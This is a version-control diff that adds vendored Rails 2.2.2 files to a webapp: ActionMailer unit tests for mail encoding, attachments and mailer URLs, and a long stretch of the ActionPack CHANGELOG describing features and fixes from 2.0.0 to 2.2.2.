+  def test_setup_shouldnt_conflict_with_mailer_setup
+    assert @expected.is_a?(TMail::Mail)
+    assert_equal 'a value', @test_var
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/tmail_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/tmail_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/tmail_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+
+class TMailMailTest < Test::Unit::TestCase
+  def test_body
+    m = TMail::Mail.new
+    expected = 'something_with_underscores'
+    m.encoding = 'quoted-printable'
+    quoted_body = [expected].pack('*M')
+    m.body = quoted_body
+    assert_equal "something_with_underscores=\n", m.quoted_body
+    assert_equal expected, m.body
+  end
+
+  def test_nested_attachments_are_recognized_correctly
+    fixture = File.read("#{File.dirname(__FILE__)}/fixtures/raw_email_with_nested_attachment")
+    mail = TMail::Mail.parse(fixture)
+    assert_equal 2, mail.attachments.length
+    assert_equal "image/png", mail.attachments.first.content_type
+    assert_equal 1902, mail.attachments.first.length
+    assert_equal "application/pkcs7-signature", mail.attachments.last.content_type
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/url_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/url_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/url_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,76 @@
+require 'abstract_unit'
+
+class TestMailer < ActionMailer::Base
+  
+  default_url_options[:host] = 'www.basecamphq.com'
+  
+  def signed_up_with_url(recipient)
+    @recipients   = recipient
+    @subject      = "[Signed up] Welcome #{recipient}"
+    @from         = "system at loudthinking.com"
+    @sent_on      = Time.local(2004, 12, 12)
+
+    @body["recipient"]   = recipient
+    @body["welcome_url"] = url_for :host => "example.com", :controller => "welcome", :action => "greeting"
+  end
+
+  class <<self
+    attr_accessor :received_body
+  end
+
+  def receive(mail)
+    self.class.received_body = mail.body
+  end
+end
+
+class ActionMailerUrlTest < Test::Unit::TestCase
+  include ActionMailer::Quoting
+
+  def encode( text, charset="utf-8" )
+    quoted_printable( text, charset )
+  end
+
+  def new_mail( charset="utf-8" )
+    mail = TMail::Mail.new
+    mail.mime_version = "1.0"
+    if charset
+      mail.set_content_type "text", "plain", { "charset" => charset }
+    end
+    mail
+  end
+
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+
+    @recipient = 'test at localhost'
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_signed_up_with_url
+    ActionController::Routing::Routes.draw do |map| 
+      map.connect ':controller/:action/:id' 
+      map.welcome 'welcome', :controller=>"foo", :action=>"bar"
+    end
+
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "[Signed up] Welcome #{@recipient}"
+    expected.body    = "Hello there, \n\nMr. #{@recipient}. Please see our greeting at http://example.com/welcome/greeting http://www.basecamphq.com/welcome\n\n<img alt=\"Somelogo\" src=\"/images/somelogo.png\" />"
+    expected.from    = "system at loudthinking.com"
+    expected.date    = Time.local(2004, 12, 12)
+
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_signed_up_with_url(@recipient) }
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised { TestMailer.deliver_signed_up_with_url(@recipient) }
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/CHANGELOG
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/CHANGELOG	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/CHANGELOG	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5038 @@
+*2.2.2 [2.2 Final]*
+
+* Deprecated the :file default for ActionView#render to prepare for 2.3's new :partial default [DHH]
+
+
+*2.2.1 [RC2] (November 14th, 2008)*
+
+* Restore backwards compatible functionality for setting relative_url_root.  Include deprecation
+
+* Switched the CSRF module to use the request content type to decide if the request is forgeable.  #1145 [Jeff Cohen]
+
+* Added :only and :except to map.resources to let people cut down on the number of redundant routes in an application. Typically only useful for huge routesets.  #1215 [Tom Stuart]
+
+   map.resources :products, :only => :show do |product|
+     product.resources :images, :except => :destroy
+   end
+
+* Added render :js for people who want to render inline JavaScript replies without using RJS [DHH]
+
+* Fixed that polymorphic_url should compact given array #1317 [hiroshi]
+
+* Fixed the sanitize helper to avoid double escaping already properly escaped entities #683 [antonmos/Ryan McGeary]
+
+* Fixed that FormTagHelper generated illegal html if name contained square brackets #1238 [Vladimir Dobriakov]
+
+* Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 [Bernardo Padua/Tor Erik]
+
+* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [DHH]
+
+* Remove the logging of the Session ID when the session store is CookieStore [DHH]
+
+* Fixed regex in redirect_to to fully support URI schemes #1247 [Seth Fitzsimmons]
+
+* Fixed bug with asset timestamping when using relative_url_root #1265 [Joe Goldwasser]
+
+
+*2.2.0 [RC1] (October 24th, 2008)*
+
+* Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections [packagethief]
+
+* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [DHH]. Example:
+
+    class ArticlesController < ApplicationController
+      def show_with_respond_to_block
+        @article = Article.find(params[:id])
+
+
+        # If the request sends headers that differs from the options provided to stale?, then
+        # the request is indeed stale and the respond_to block is triggered (and the options
+        # to the stale? call is set on the response).
+        #
+        # If the request headers match, then the request is fresh and the respond_to block is
+        # not triggered. Instead the default render will occur, which will check the last-modified
+        # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+        # of rendering the template.
+        if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+          respond_to do |wants|
+            # normal response processing
+          end
+        end
+      end
+
+      def show_with_implied_render
+        @article = Article.find(params[:id])
+
+        # Sets the response headers and checks them against the request, if the request is stale
+        # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+        # If the request is fresh, then the default render will return a "304 Not Modified"
+        # instead of rendering the template.
+        fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+      end
+    end
+
+
+* Added inline builder yield to atom_feed_helper tags where appropriate [Sam Ruby]. Example:
+
+    entry.summary :type => 'xhtml' do |xhtml|
+      xhtml.p pluralize(order.line_items.count, "line item")
+      xhtml.p "Shipped to #{order.address}"
+      xhtml.p "Paid by #{order.pay_type}"
+    end
+
+* Make PrototypeHelper#submit_to_remote a wrapper around PrototypeHelper#button_to_remote. [Tarmo Tänav]
+
+* Set HttpOnly for the cookie session store's cookie.  #1046 
+
+* Added FormTagHelper#image_submit_tag confirm option #784 [Alastair Brunton]
+
+* Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 [Jose Fernandez]
+
+* Stopped logging template compiles as it only clogs up the log [DHH]
+
+* Changed the X-Runtime header to report in milliseconds [DHH]
+
+* Changed BenchmarkHelper#benchmark to report in milliseconds [DHH]
+
+* Changed logging format to be millisecond based and skip misleading stats [DHH]. Went from:
+
+    Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
+
+  ...to:
+  
+    Completed in 100ms (View: 40, DB: 4) | 200 OK [http://example.com]
+
+* Add support for shallow nesting of routes. #838 [S. Brent Faulkner]
+
+  Example :
+
+  map.resources :users, :shallow => true do |user|
+    user.resources :posts
+  end
+
+  - GET /users/1/posts (maps to PostsController#index action as usual)
+    named route "user_posts" is added as usual.
+
+  - GET /posts/2 (maps to PostsController#show action as if it were not nested)
+    Additionally, named route "post" is added too.
+
+* Added button_to_remote helper.  #3641 [Donald Piret, Tarmo Tänav]
+
+* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik]
+
+* Routes may be restricted to lists of HTTP methods instead of a single method or :any.  #407 [Brennan Dunn, Gaius Centus Novus]
+    map.resource :posts, :collection => { :search => [:get, :post] }
+    map.session 'session', :requirements => { :method => [:get, :post, :delete] }
+
+* Deprecated implicit local assignments when rendering partials [Josh Peek]
+
+* Introduce current_cycle helper method to return the current value without bumping the cycle.  #417 [Ken Collins]
+
+* Allow polymorphic_url helper to take url options. #880 [Tarmo Tänav]
+
+* Switched integration test runner to use Rack processor instead of CGI [Josh Peek]
+
+* Made AbstractRequest.if_modified_sense return nil if the header could not be parsed [Jamis Buck]
+
+* Added back ActionController::Base.allow_concurrency flag [Josh Peek]
+
+* AbstractRequest.relative_url_root is no longer automatically configured by a HTTP header. It can now be set in your configuration environment with config.action_controller.relative_url_root [Josh Peek]
+
+* Update Prototype to 1.6.0.2 #599 [Patrick Joyce]
+
+* Conditional GET utility methods.  [Jeremy Kemper]
+    response.last_modified = @post.updated_at
+    response.etag = [:admin, @post, current_user]
+
+    if request.fresh?(response)
+      head :not_modified
+    else
+      # render ...
+    end
+
+* All 2xx requests are considered successful [Josh Peek]
+
+* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [DHH]
+
+* Removed config.action_view.cache_template_loading, use config.cache_classes instead [Josh Peek]
+
+* Get buffer for fragment cache from template's @output_buffer [Josh Peek]
+
+* Set config.action_view.warn_cache_misses = true to receive a warning if you perform an action that results in an expensive disk operation that could be cached [Josh Peek]
+
+* Refactor template preloading. New abstractions include Renderable mixins and a refactored Template class [Josh Peek]
+
+* Changed ActionView::TemplateHandler#render API method signature to render(template, local_assigns = {}) [Josh Peek]
+
+* Changed PrototypeHelper#submit_to_remote to PrototypeHelper#button_to_remote to stay consistent with link_to_remote (submit_to_remote still works as an alias) #8994 [clemens]
+
+* Add :recursive option to javascript_include_tag and stylesheet_link_tag to be used along with :all. #480 [Damian Janowski]
+
+* Allow users to disable the use of the Accept header [Michael Koziarski]
+
+    The accept header is poorly implemented by browsers and causes strange
+	errors when used on public sites where crawlers make requests too.  You
+	can use formatted urls (e.g. /people/1.xml) to support API clients in a
+	much simpler way.
+
+	To disable the header you need to set:
+
+	config.action_controller.use_accept_header = false
+
+* Do not stat template files in production mode before rendering. You will no longer be able to modify templates in production mode without restarting the server [Josh Peek]
+
+* Deprecated TemplateHandler line offset [Josh Peek]
+
+* Allow caches_action to accept cache store options. #416. [José Valim]. Example:
+  
+  caches_action :index, :redirected, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
+
+* Remove define_javascript_functions, javascript_include_tag and friends are far superior. [Michael Koziarski]
+
+* Deprecate :use_full_path render option. The supplying the option no longer has an effect [Josh Peek]
+
+* Add :as option to render a collection of partials with a custom local variable name. #509 [Simon Jefford, Pratik Naik]
+
+  render :partial => 'other_people', :collection => @people, :as => :person
+  
+  This will let you access objects of @people as 'person' local variable inside 'other_people' partial template.
+
+* time_zone_select: support for regexp matching of priority zones. Resolves #195 [Ernie Miller]
+
+* Made ActionView::Base#render_file private [Josh Peek]
+
+* Refactor and simplify the implementation of assert_redirected_to.  Arguments are now normalised relative to the controller being tested,  not the root of the application.  [Michael Koziarski]
+
+  This could cause some erroneous test failures if you were redirecting between controllers
+  in different namespaces and wrote your assertions relative to the root of the application.
+
+* Remove follow_redirect from controller functional tests.
+
+	If you want to follow redirects you can use integration tests.  The functional test
+	version was only useful if you were using redirect_to :id=>...
+
+* Fix polymorphic_url with singleton resources.  #461 [Tammer Saleh]
+
+* Replaced TemplateFinder abstraction with ViewLoadPaths [Josh Peek]
+
+* Added block-call style to link_to [Sam Stephenson/DHH]. Example:
+
+    <% link_to(@profile) do %>
+      <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
+    <% end %>
+
+* Performance: integration test benchmarking and profiling.  [Jeremy Kemper]
+
+* Make caching more aware of mime types. Ensure request format is not considered while expiring cache.  [Jonathan del Strother]
+
+* Drop ActionController::Base.allow_concurrency flag [Josh Peek]
+
+* More efficient concat and capture helpers. Remove ActionView::Base.erb_variable.  [Jeremy Kemper]
+
+* Added page.reload functionality. Resolves #277. [Sean Huber]
+
+* Fixed Request#remote_ip to only raise hell if the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR doesn't match (not just if they're both present) [Mark Imbriaco, Bradford Folkens]
+
+* Allow caches_action to accept a layout option [José Valim]
+
+* Added Rack processor [Ezra Zygmuntowicz, Josh Peek]
+
+
+*2.1.0 (May 31st, 2008)*
+
+* InstanceTag#default_time_from_options overflows to DateTime [Geoff Buesing]
+
+* Fixed that forgery protection can be used without session tracking (Peter Jones) [#139]
+
+* Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) [#136]
+
+* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [rick]
+* InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap [Geoff Buesing]
+
+* select_date defaults to Time.zone.today when config.time_zone is set [Geoff Buesing]
+
+* Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) [#80]
+
+* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [DHH]
+
+* Reduce number of instance variables being copied from controller to view. [Pratik]
+
+* select_datetime and select_time default to Time.zone.now when config.time_zone is set [Geoff Buesing]
+
+* datetime_select defaults to Time.zone.now when config.time_zone is set [Geoff Buesing]
+
+* Remove ActionController::Base#view_controller_internals flag. [Pratik]
+
+* Add conditional options to caches_page method. [Paul Horsfall]
+
+* Move missing template logic to ActionView. [Pratik]
+
+* Introduce ActionView::InlineTemplate class. [Pratik]
+
+* Automatically parse posted JSON content for Mime::JSON requests.  [rick]
+
+  POST /posts
+  {"post": {"title": "Breaking News"}}
+
+  def create
+    @post = Post.create params[:post]
+    # ...
+  end
+
+* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [rick]
+
+* Provide a helper proxy to access helper methods from outside views. Closes #10839 [Josh Peek]
+  e.g. ApplicationController.helpers.simple_format(text)
+
+* Improve documentation. [Xavier Noria, leethal, jerome]
+
+* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [josh, eventualbuddha, Pratik]
+
+* Support render :partial => collection of heterogeneous elements.  #11491 [Zach Dennis]
+
+* Avoid remote_ip spoofing.  [Brian Candler]
+
+* Added support for regexp flags like ignoring case in the :requirements part of routes declarations #11421 [NeilW]
+
+* Fixed that ActionController::Base#read_multipart would fail if boundary was exactly 10240 bytes #10886 [ariejan]
+
+* Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 [esad, packagethief]
+
+* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+
+* Fixed that FormHelper#radio_button would produce invalid ids #11298 [harlancrystal]
+
+* Added :confirm option to submit_tag #11415 [miloops]
+
+* Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) [zhangyuanyi]
+
+* Allow the #simple_format text_helper to take an html_options hash for each paragraph.  #2448 [Francois Beausoleil, thechrisoshow]
+
+* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice.  [rick]
+
+* Refactor filters to use Active Support callbacks.  #11235 [Josh Peek]
+
+* Fixed that polymorphic routes would modify the input array #11363 [thomas.lee]
+
+* Added :format option to NumberHelper#number_to_currency to enable better localization support #11149 [lylo]
+
+* Fixed that TextHelper#excerpt would include one character too many #11268 [Irfy]
+
+* Fix more obscure nested parameter hash parsing bug.  #10797 [thomas.lee]
+
+* Added ActionView::Helpers::register_javascript/stylesheet_expansion to make it easier for plugin developers to inject multiple assets.  #10350 [lotswholetime]
+
+* Fix nested parameter hash parsing bug.  #10797 [thomas.lee]
+
+* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [alloy]
+
+* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [DHH]
+
+* Make MimeResponds::Responder#any work without explicit types. Closes #11140 [jaw6]
+
+* Better error message for type conflicts when parsing params.  Closes #7962 [spicycode, matt]
+
+* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik]
+
+* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik]
+
+* Tests for div_for and content_tag_for helpers. Closes #11223 [thechrisoshow]
+
+* Allow file uploads in Integration Tests.  Closes #11091 [RubyRedRick]
+
+* Refactor partial rendering into a PartialTemplate class. [Pratik]
+
+* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block  [DHH]
+
+* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [ernesto.jimenez]
+
+* Remove support for multivalued (e.g., '&'-delimited) cookies. [Jamis Buck]
+
+* Fix problem with render :partial collections, records, and locals. #11057 [lotswholetime] 
+
+* Added support for naming concrete classes in sweeper declarations [DHH]
+
+* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application.  #10098 [tpope, kampers]
+
+* Fix typo in form_helper documentation.  #10650 [xaviershay, kampers]
+
+* Fix bug with setting Request#format= after the getter has cached the value.  #10889 [cch1]
+
+* Correct inconsistencies in RequestForgeryProtection docs.  #11032 [mislav]
+
+* Introduce a Template class to ActionView.  #11024 [lifofifo]
+
+* Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75).  #9883 [rmm5t]
+
+* Introduce map.resources :cards, :as => 'tarjetas' to use a custom resource name in the URL: cards_path == '/tarjetas'.  #10578 [blj]
+
+* TestSession supports indifferent access.  #7372 [tamc, Arsen7, mhackett, julik, jean.helou]
+
+* Make assert_routing aware of the HTTP method used.  #8039 [mpalmer]
+  e.g. assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
+
+* Make map.root accept a single symbol as an argument to declare an alias.  #10818 [bscofield] 
+
+  e.g.  map.dashboard '/dashboard', :controller=>'dashboard'
+        map.root      :dashboard
+
+* Handle corner case with image_tag when passed 'messed up' image names. #9018 [duncanbeevers, mpalmer]
+
+* Add label_tag helper for generating elements. #10802 [DefV]
+
+* Introduce TemplateFinder to handle view paths and lookups.  #10800 [Pratik Naik] 
+
+* Performance: optimize route recognition. Large speedup for apps with many resource routes.  #10835 [oleganza]
+
+* Make render :partial recognise form builders and use the _form partial.  #10814 [djanowski]
+
+* Allow users to declare other namespaces when using the atom feed helpers. #10304 [david.calavera]
+
+* Introduce send_file :x_sendfile => true to send an X-Sendfile response header.  [Jeremy Kemper]
+
+* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [jeremyevans]
+
+* Provide nicer access to HTTP Headers.  Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Koz]
+
+* UrlWriter respects relative_url_root.  #10748 [Cheah Chu Yeow]
+
+* The asset_host block takes the controller request as an optional second argument. Example: use a single asset host for SSL requests.  #10549 [Cheah Chu Yeow, Peter B, Tom Taylor]
+
+* Support render :text => nil.  #6684 [tjennings, PotatoSalad, Cheah Chu Yeow]
+
+* assert_response failures include the exception message.  #10688 [Seth Rasmussen]
+
+* All fragment cache keys are now by default prefixed with the "views/" namespace [DHH]
+
+* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [DHH]
+
+* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [DHH]
+
+* Made fragment caching in views work for rjs and builder as well #6642 [zsombor]
+
+* Fixed rendering of partials with layout when done from site layout #9209 [antramm]
+
+* Fix atom_feed_helper to comply with the atom spec.  Closes #10672 [xaviershay]
+
+  * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html)
+  * IDs are not guaranteed unique
+  * A default self link was not provided, contrary to the documentation
+  * NOTE:  This changes tags for existing atom entries, but at least they validate now.
+
+* Correct indentation in tests.  Closes #10671 [l.guidi]
+
+* Fix that auto_link looks for ='s in url paths (Amazon urls have them).  Closes #10640 [bgreenlee]
+
+* Ensure that test case setup is run even if overridden.  #10382 [Josh Peek]
+
+* Fix HTML Sanitizer to allow trailing spaces in CSS style attributes.  Closes #10566 [wesley.moxam]
+
+* Add :default option to time_zone_select.  #10590 [Matt Aimonetti]
+
+
+*2.0.2* (December 16th, 2007)
+
+* Added delete_via_redirect and put_via_redirect to integration testing #10497 [philodespotos]
+
+* Allow headers['Accept'] to be set by hand when calling xml_http_request #10461 [BMorearty]
+
+* Added OPTIONS to list of default accepted HTTP methods #10449 [holoway]
+
+* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [chuyeow]. Example:
+
+    ActionController::Base.asset_host = Proc.new { |source|
+      if source.starts_with?('/images')
+        "http://images.example.com"
+      else
+        "http://assets.example.com"
+      end
+    }
+
+* Fixed that ActionView#file_exists? would be incorrect if @first_render is set #10569 [dbussink]
+
+* Added that Array#to_param calls to_param on all it's elements #10473 [brandon]
+
+* Ensure asset cache directories are automatically created.  #10337 [Josh Peek, Cheah Chu Yeow]
+
+* render :xml and :json preserve custom content types.  #10388 [jmettraux, Cheah Chu Yeow]
+
+* Refactor Action View template handlers.  #10437, #10455 [Josh Peek]
+
+* Fix DoubleRenderError message and leave out mention of returning false from filters.  Closes #10380 [Frederick Cheung]
+
+* Clean up some cruft around ActionController::Base#head.  Closes #10417 [ssoroka]
+
+
+*2.0.1* (December 7th, 2007)
+
+* Fixed send_file/binary_content for testing #8044 [tolsen]
+
+* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [danger]
+
+* Update Prototype to 1.6.0.1.  [sam]
+
+* Update script.aculo.us to 1.8.0.1.  [madrobby]
+
+* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects.  Closes #10354 [hasmanyjosh]
+
+* Added the same record identification guessing rules to fields_for as form_for has [DHH]
+
+* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) [DHH]
+
+* Raise UnknownHttpMethod exception for unknown HTTP methods. Closes #10303 [Tarmo Tänav]
+
+* Update to Prototype -r8232.  [sam]
+
+* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Koz] #10292
+
+* Added protection from trailing slashes on page caching #10229 [devrieda]
+
+* Asset timestamps are appended, not prepended. Closes #10276 [mnaberez]
+
+* Minor inconsistency in description of render example. Closes #10029 [ScottSchram]
+
+* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods.  [rick]
+
+* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations.  Closes #10129.  [rick]
+
+* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial [rick]
+
+* Fix TemplateError so it doesn't bomb on exceptions while running tests [rick]
+
+* Fixed that named routes living under resources shouldn't have double slashes #10198 [isaacfeliu]
+
+* Make sure that cookie sessions use a secret that is at least 30 chars in length. [Koz]
+
+* Fixed that partial rendering should look at the type of the first render to determine its own type if no other clues are available (like when using text.plain.erb as the extension in AM) #10130 [java]
+
+* Fixed that has_many :through associations should render as collections too #9051 [mathie/danger]
+
+* Added :mouseover short-cut to AssetTagHelper#image_tag for doing easy image swaps #6893 [joost]
+
+* Fixed handling of non-domain hosts #9479 [purp]
+
+* Fix syntax error in documentation example for cycle method. Closes #8735 [foca]
+
+* Document :with option for link_to_remote. Closes #8765 [ryanb]
+
+* Document :minute_step option for time_select. Closes #8814 [brupm]
+
+* Explain how to use the :href option for link_to_remote to degrade gracefully in the absence of JavaScript. Closes #8911 [vlad]
+
+* Disambiguate :size option for text area tag. Closes #8955 [redbeard]
+
+* Fix broken tag in assert_tag documentation. Closes #9037 [mfazekas]
+
+* Add documentation for route conditions. Closes #9041 [innu, manfred]
+
+* Fix typo left over from previous typo fix in url helper. Closes #9414 [Henrik N]
+
+* Fixed that ActionController::CgiRequest#host_with_port() should handle standard port #10082 [moro]
+
+* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0.  [sam, madrobby]
+
+* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) [DHH]
+
+* Integration tests: get_ and post_via_redirect take a headers hash.  #9130 [simonjefford]
+
+* Simplfy #view_paths implementation.  ActionView templates get the exact object, not a dup.  [Rick]
+
+* Update tests for ActiveSupport's JSON escaping change.  [rick]
+
+* FormHelper's auto_index should use #to_param instead of #id_before_type_cast.  Closes #9994 [mattly]
+
+* Doc typo fixes for ActiveRecordHelper. Closes #9973 [mikong]
+
+* Make example parameters in restful routing docs idiomatic. Closes #9993 [danger]
+
+* Make documentation comment for mime responders match documentation example.  Closes #9357 [yon]
+
+* Introduce a new test case class for functional tests.  ActionController::TestCase. [Koz]
+
+* Fix incorrect path in helper rdoc. Closes #9926 [viktor tron]
+
+* Partials also set 'object' to the default partial variable.  #8823 [Nick Retallack, Jeremy Kemper]
+
+* Request profiler.  [Jeremy Kemper]
+    $ cat login_session.rb
+    get_with_redirect '/'
+    say "GET / => #{path}"
+    post_with_redirect '/sessions', :username => 'john', :password => 'doe'
+    say "POST /sessions => #{path}"
+    $ ./script/performance/request -n 10 login_session.rb
+
+* Disabled checkboxes don't submit a form value.  #9301 [vladr, robinjfisher]
+
+* Added tests for options to ActiveRecordHelper#form. Closes #7213 [richcollins, mikong, mislav]
+
+* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false [DHH]
+
+* Ensure that cookies handle array values correctly.  Closes #9937 [queso]
+
+* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc.  #9928 [gbuesing]
+
+* caches_page uses a single after_filter instead of one per action.  #9891 [Pratik Naik]
+
+* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0.  [sam, madrobby]
+
+* Dispatcher: fix that to_prepare should only run once in production.  #9889 [Nathaniel Talbott]
+
+* Memcached sessions: add session data on initialization; don't silently discard exceptions; add unit tests.  #9823 [kamk]
+
+* error_messages_for also takes :message and :header_message options which defaults to the old "There were problems with the following fields:" and "<count> errors prohibited this <object_name> from being saved".  #8270 [rmm5t, zach-inglis-lt3]
+
+* Make sure that custom inflections are picked up by map.resources.  #9815 [mislav]
+
+* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call [DHH]
+
+* Extracted sanitization methods from TextHelper to SanitizeHelper [DHH]
+
+* rescue_from accepts :with => lambda { |exception| ... } or a normal block.  #9827 [Pratik Naik]
+
+* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 [codahale, chasgrundy]
+
+* Add link_to :back which uses your referrer with a fallback to a javascript link. #7366 [eventualbuddha, Tarmo Tänav]
+
+* error_messages_for and friends also work with local variables.  #9699 [Frederick Cheung]
+
+* Fix url_for, redirect_to, etc. with :controller => :symbol instead of 'string'.  #8562, #9525 [Justin Lynn, Tarmo Tänav, shoe]
+
+* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores.  Closes #8662. [Rick]
+
+* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes.  Now you can set it in the config. [Rick]
+
+  config.action_controller.optimise_named_routes = false
+
+* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape.  [Rick]
+
+* Only accept session ids from cookies, prevents session fixation attacks.  [bradediger] 
+
+
+*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.12.2 - 1.13.3]
+
+* Fixed that render template did not honor exempt_from_layout #9698 [pezra]
+
+* Better error messages if you leave out the :secret option for request forgery protection.  Closes #9670 [rick]
+
+* Allow ability to disable request forgery protection, disable it in test mode by default.  Closes #9693 [Pratik Naik]
+
+* Avoid calling is_missing on LoadErrors. Closes #7460. [ntalbott]
+
+* Move Railties' Dispatcher to ActionController::Dispatcher, introduce before_ and after_dispatch callbacks, and warm up to non-CGI requests.  [Jeremy Kemper]
+
+* The tag helper may bypass escaping.  [Jeremy Kemper]
+
+* Cache asset ids.  [Jeremy Kemper]
+
+* Optimized named routes respect AbstractRequest.relative_url_root.  #9612 [danielmorrison, Jeremy Kemper]
+
+* Introduce ActionController::Base.rescue_from to declare exception-handling methods. Cleaner style than the case-heavy rescue_action_in_public.  #9449 [Norbert Crombach]
+
+* Rename some RequestForgeryProtection methods.  The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'.  [Rick]
+
+* Merge csrf_killer plugin into rails.  Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests.  [Rick]
+
+* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks.  Closes #8877. [Rick, Pratik Naik, Jacques Distler]
+
+  This merges and renames the popular white_list helper (along with some css sanitizing from Jacques Distler version of the same plugin).
+  Also applied updated versions of #strip_tags and #strip_links from #8877.
+
+* Remove use of & logic operator. Closes #8114. [watson]
+
+* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 [rubyruy]
+
+* Fixed TextHelper#word_wrap for multiline strings with extra carrier returns #8663 [seth]
+
+* Fixed that setting the :host option in url_for would automatically turn off :only_path (since :host would otherwise not be shown) #9586 [Bounga]
+
